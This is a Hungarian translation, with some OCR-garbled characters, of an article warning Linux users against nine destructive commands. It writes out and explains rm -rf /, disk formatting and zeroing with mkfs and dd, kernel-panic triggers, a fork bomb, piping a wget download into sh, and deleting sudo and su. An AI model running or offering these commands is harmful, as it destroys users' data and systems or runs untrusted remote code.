9 halalos Linux parancs, amit soha ne futtass!
(9 Lethal Linux Commands YouShould Never Run - forditas)

rta: Joel Lee

A cikk eredetije itt olvashat6: http://www.makeuseof.com/tag/9-lethal-linux-commands-never-run/
A Linux kétéld fegyver lehet. Feltételezi, hogy tudod mit csindlsz és megadja a szabadsagot, hogy

barmit megtegyél. Kérdés nélkiil. Ez kényelmes, ha tudod, hogy éppen mit csinalsz, de azt is jelenti,
barmikor tonkre teheted a rendszeredet masodpercek alatt.

Uj vagy a Linux parancssorban? Ne aggddj. Kezdd a ismerkedést nalunk, a Bevezet6 a Linux
terminalba és 40 alapvetdé Linux parancs ismertetOkkel. Ezekkel gyorsan megismerkedhetsz a
parancssorral.

De, fiiggetlentil attol, hogy tijonc, vagy veteran linuxos vagy, sose futtass parancsot, ha nem tudod,
hogy pontosan mit tesz. Ime néhany a leghaldlosabb Linux parancsok koziil, amiket — to6bbnyire —
kertilni kell.

Rekurziv torlés

A Linux képessége, hogy barmi torolhet6 kérdés nélkiil, egy aldas, kiilondsen, ha éveken keresztiil
kiizdottél a Windows ,,A fajl nem torélhets” hibajelzésével. Am internetes gazfickék kénnyen
feliiltethetnek, bedobva a veszélyes eltavolitas (rm) parancsot, ami a teljes merevlemezedet
kisoporheti.

rm -rf /

Ez az rm parancsot két kapcsoldval futtatja: a -r, ami rekurziv torlést ir el az 6sszes alkonyvtarat
beleértve és a -f, ami kikényszeriti a torlést, még a csak olvashaté fajlokét is, megerdsités nélkiil. A
parancsot a gyokérkonyvtarban hajtja végre, 1ényegében tisztara soporve a teljes rendszeredet.

Megjegyzem, a legtébb mai Linux rendszer figyelmeztet, ha ezt akarod megtenni. Azonban, a
figyelmeztetés nem garantalt, szoval inkabb ne tedd.

Merevlemez formazasa

A termindl a kezdd linuxosoknak kiilondsen triikkds, mivel szamos lehetdséget nyijt a merevlemez
véletlen torlésére. A rekurziv torlés alapvet6, de ime egy masik:

mkfs.ext3 /dev/hda

Ez a parancs a merevlemezt ext3 fajlrendszerre forméazza. A lemezmeghajté forméazdsa nem
feltétleniil rosszindulatii miivelet, de alapallapotba teszi a meghajtét, mintha teljesen 4j lenne. Méas
szavakkal, egy formazott lemez olyan, mint egy iires vaszon.

A formazas hasznos, particiok és kiils6 meghajtok esetén, de egy teljes merevlemezre végrehajtani
(mint a /dev/hda) veszélyes és kdnnyen helyrehozhatatlan allapotba hozhatja a rendszert.
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Merevlemez feliilirasa

Ha a véletlen lemezformazas nem lenne elég rossz, feliilirhaté a merevlemez mindenféle adatokkal.
A lemezformazas legalabb egy, a vald életben is tényleg hasznalt folyamat; a meghajt6 kdzvetlen
feliilirdsa viszont nem annyira nagyszert dolog.

command > /dev/hda

A fenti parancsban a command helyett allhat barmilyen bash parancs. A > operator atiranyitja a t6le
balra all6 parancs kimenetét a téle jobbra 1év6 fajlba. Ebben az esetben teljesen lényegtelen, hogy
bal oldali parancsnak mi a kimenete. Az adatsor atkeriil és arra szolgal, hogy feliilirja a
merevlemezen a rendszert.

Képzelheted, hogy milyen haszontalan dolgokat ad at.

Merevlemez kisoprése

fme egy djabb médja a rendszered leromboldsdnak. Ezittal a parancs teljesen lenulldzza a
merevlemezedet. Az adatok nem sériilnek, vagy feliilir6édnak, hanem a merevlemezedet sz6 szerint
nullakkal t6lti fel. Egy meghajtot semmi sem takarit ki jobban, mint ez.

dd if=/dev/zero of=/dev/hda

A dd egy alacsony szintii utasitas, ami leginkabb adatok fizikai meghajtéra irdsdhoz hasznalatos. Az
if paraméter hatarozza meg az adat forrasat, ami estiinkben /dev/zero, ami a Linux kiilonlegessége,
nulldk végtelen sorat adja. Az of paraméter hatarozza meg a nulldk céljat, ami a /dev/hda meghajté.

Igen, lehetnek okai, amiért a lemez nullazasa sziikséges, de ha nem ismered ezeket az okokat, akkor
jobb, ha tavol tartod magad ett6l a parancstol.

Merevlemez tonkretétele

Ha mar unod a merevlemez leromboléaséanak kiilonféle médjait, akkor varj még egy kicsit. fme még
egy. A Linuxban van egy kiilonleges fajl, a /dev/null, ami szamara lényegtelen, hogy mit irsz bele.
Tekintheted egyfajta fekete lyuknak, vagy fajldaralénak: barmit is adsz neki, felfalja.

mv / /dev/null
Latod, hogy hol itt veszély? Az mv parancs megprobalja a rendszer gyokérkonyvtarat / a /dev/null

fekete lyukba mozgatni. Ez egy érvényes parancs és a hatdsa pusztit: a merevlemezt felemészti és
semmi sem marad utana. Ezzel a rendszered hasznalhatatlanna valik.

Kernel Panic okozasa

A Windows hirhedt a Kék halal képerny6je miatt. A legendak ellenére a Linux sem teljesen
biztonsagos rendszer. Néha, jelentkezik olyan belsé hiba, amib6l nem lehet kilabalni, vagyis a
rendszer valami olyasmit produkal, mint a kék halal képerny6: a kernel panic-ot.

dd if=/dev/random of=/dev/port
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echo 1 > /proc/sys/kernel/panic
cat /dev/port

cat /dev/zero > /dev/mem

A fenti parancsok okozta bonyodalmak nem annyira érdekesek. Ami viszont lényeges, hogy
barmelyik sor futtatdsa kernel panic-ot okoz, a rendszer djrainditasat kényszeritve. Jobb ezekt6l a
parancsoktol tartozkodni, hacsak nem tudod teljes biztonsaggal, hogy mit csinalsz.

Fork Bomb
# Lancos bomba — magyar kifejezést nem talaltam rd, de taldan ez kozeliti meg legjobban a lényegét.

A Bash, a Linux-termindl nyelve és elég hatasos. Nemcsak parancsokat, hanem fiiggvényeket is
képes futtatni, ami kénny{ivé teszi szkriptek irasat, ezzel rendszerfeladatok automatizalhaték.

Sajnos a fiiggvényekkel veszélyek is jarnak.
s {:|:&};:
Ezt a furcsa, Fork Bomb-nak hivott parancs, egy kiilonleges kernel panic. Egy : nevii kiilonleges

fliggvényt ir le, ami magat hivja meg kétszer, amikor végrehajtodik. A rekurziv hivasok egyike az
el6térben fut, mikdzben a masik a hattérben toérténik meg.

Mas szavakkal, a fiiggvény barmikor futva két al-folyamatot sziil. Ezek az al-folyamatok hozzak a
sajat al-folyamataikat és ez a ciklus végtelen hurokban folytatodik. Egyetlen lehet6ség, hogy
kikertiilj bel6le, a rendszer jrainditasa.

Tavoli szkriptek futtatasa

Ime egy artatlan parancs, ami egy Linux rendszeren a napi életben hasznos is lehet. A wget egy
web-cim tartalmat szedi le, ami weboldalak elérésére, vagy fajlok letoltésére hasznalhato.
Ugyanakkor egy egyszerti triikkkel veszélyessé is tehetd:

wget http://egy-megbizhatatalan-oldal-urlje -O0- | sh
A fenti kombinacio letolti az adott URL tartalmat és azonnal betdlti az sh parancsba, ami a let6ltott

tartalmat végrehajtja a terminalban. Ha az URL egy rosszindulati szkriptre mutat, akkor
valdsziniileg megpecsételed a sorsodat a paranccsal.

Rendszergazda-jogok kiiktatasa
Ez az utols6 parancs elég egyértelm{i. A gyakran hasznalt rm parancsot alkalmazza, hogy

kikapcsolja a Linux két legfontosabb parancsat: a sudo-t és a su-t. Rviden, ezek a parancsok teszik
lehetévé, hogy mas parancsokat rendszergazda jogokkal futtass. Nélkiiliik az élet a Linux-ban kin.

rm -f /usr/bin/sudo;rm -f /bin/su

Amiért ezt a parancsokat ne futtasd: kényszeritve torli mindkét parancsot a rendszeredbdl,
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meger0Ositést nem kérve, nagy zlirt hagyva maga utan. Vannak modszerek, amivel a t6rolt dolgokat
helyreallithatod, de nem mindig egyértelmiiek és kellemesek.

Légy 6vatos! Ne félj termindlban a Linux-parancsokkal kisérletezni, de ugyanakkor tdjékozédj és
sose hajts végre semmi olyat, aminek a hatdsaval nem vagy teljesen tisztaban. Ha valaki azt mondja
neked, hogy ,,probald ki ezt a parancsot”, mindig kétszeresen, vagy haromszorosan ellen6rizd le.

Futtattal barmikor is rombolé parancsot? Mi tortént? Megvezetett mar valaki ilyennel? Oszd meg
veliink gondolataidat és tapasztalataidat a kommentaroknal!
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